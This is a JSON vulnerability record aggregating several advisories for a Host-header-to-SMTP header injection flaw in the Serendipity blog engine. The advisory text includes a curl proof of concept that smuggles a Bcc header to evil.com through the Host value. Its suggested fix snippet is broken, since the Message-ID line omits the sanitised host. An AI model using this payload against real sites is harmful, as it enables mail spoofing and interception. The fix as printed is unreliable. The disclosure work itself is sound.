{"id":"CVE-2026-39971","aliases":["EUVD-2026-22811","GHSA-458g-q4fh-mj6r"],"status":"published","title":"Serendipity: Host Header Injection leads to SMTP header injection via unvalidated HTTP_HOST","description":"Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipity_isResponseClean() is not called on HTTP_HOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker's domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.","severity":{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00255,"percentile":0.17201,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-113"],"published":"2026-04-14T22:32:38Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"Packagist","package":"s9y/serendipity","fixed_in":["2.6.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"s9y/serendipity","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"s9y/serendipity","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.0"}]}],"versions":["2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1-beta1","2.1-beta2","2.1-beta3","2.1-rc1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.2.1-alpha1","2.3-beta1","2.3-rc1","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5","2.4-beta1","2.4.0","2.5-beta1","2.5.0","2.6-beta1"]}],"products":[{"vendor":"s9y","product":"serendipity"}],"references":[{"url":"https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/s9y/Serendipity/releases/tag/2.6.0","tags":["x_refsource_MISC","Patch","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39971","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-458g-q4fh-mj6r"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39971.json","tags":["advisory"]},{"url":"https://github.com/s9y/Serendipity","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-39971","title":"Serendipity: Host Header Injection leads to SMTP header injection via unvalidated HTTP_HOST","description":"Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipity_isResponseClean() is not called on HTTP_HOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker's domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.","status":"published","published":"2026-04-14T23:35:49.305Z","modified":"2026-04-15T16:22:04.004Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T14:20:02.662847Z"}],"euvd":[{"id":"EUVD-2026-22811","description":"Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipity_isResponseClean() is not called on HTTP_HOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker's domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.","status":"published","published":"2026-04-14T23:35:49Z","modified":"2026-04-15T16:22:04Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:24:25.212217Z"}],"ghsa":[{"id":"GHSA-458g-q4fh-mj6r","title":"Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header","description":"### Summary\nSerendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata['headers'][] = 'Message-ID: \u003c' \n    . bin2hex(random_bytes(16)) \n    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled\n    . '\u003e';\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n    return (strpos($d, \"\\r\") === false \u0026\u0026 strpos($d, \"\\n\") === false \n        \u0026\u0026 stripos($d, \"%0A\") === false \u0026\u0026 stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n  -H \"Host: attacker.com\u003e\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n  -d \"serendipity[comment]=test\u0026serendipity[name]=hacker\u0026serendipity[email]=a@b.com\u0026serendipity[entry_id]=1\" \\\n  http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: \u003cdeadbeef@attacker.com\u003e\nBcc: victim@evil.com\nX-Injected: \u003e\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** — emails appear to originate from attacker-controlled domain\n- **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** — attacker's domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace('/[^a-zA-Z0-9.\\-]/', '', \n    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)\n);\n$maildata['headers'][] = 'Message-ID: ';\n```","status":"published","published":"2026-04-14T22:32:38Z","modified":"2026-04-27T15:02:17Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T14:39:58.897998Z"}],"nvd":[{"id":"CVE-2026-39971","description":"Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipity_isResponseClean() is not called on HTTP_HOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker's domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.","status":"published","published":"2026-04-15T04:17:39.763Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T14:12:14.748836Z"}],"osv":[{"id":"CVE-2026-39971","title":"Serendipity: Host Header Injection leads to SMTP header injection via unvalidated HTTP_HOST","description":"Serendipity is a PHP-powered weblog engine. In versions 2.6-beta2 and below, the email sending functionality in include/functions.inc.php inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without validation, and the existing sanitization function serendipity_isResponseClean() is not called on HTTP_HOST before embedding it. An attacker who can control the Host header during an email-triggering action such as comment notifications or subscription emails can inject arbitrary SMTP headers into outgoing emails. This enables identity spoofing, reply hijacking via manipulated Message-ID threading, and email reputation abuse through the attacker's domain being embedded in legitimate mail headers. This issue has been fixed in version 2.6.0.","status":"published","published":"2026-04-14T23:35:49.305Z","modified":"2026-10-28T02:30:50.735311279Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T15:45:03.040464Z"},{"id":"GHSA-458g-q4fh-mj6r","title":"Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header","description":"### Summary\nSerendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata['headers'][] = 'Message-ID: \u003c' \n    . bin2hex(random_bytes(16)) \n    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled\n    . '\u003e';\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n    return (strpos($d, \"\\r\") === false \u0026\u0026 strpos($d, \"\\n\") === false \n        \u0026\u0026 stripos($d, \"%0A\") === false \u0026\u0026 stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n  -H \"Host: attacker.com\u003e\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n  -d \"serendipity[comment]=test\u0026serendipity[name]=hacker\u0026serendipity[email]=a@b.com\u0026serendipity[entry_id]=1\" \\\n  http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: \u003cdeadbeef@attacker.com\u003e\nBcc: victim@evil.com\nX-Injected: \u003e\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** — emails appear to originate from attacker-controlled domain\n- **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** — attacker's domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace('/[^a-zA-Z0-9.\\-]/', '', \n    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)\n);\n$maildata['headers'][] = 'Message-ID: ';\n```","status":"published","published":"2026-04-14T22:32:38Z","modified":"2026-05-05T16:00:57.024336Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T15:46:36.434231Z"}]}}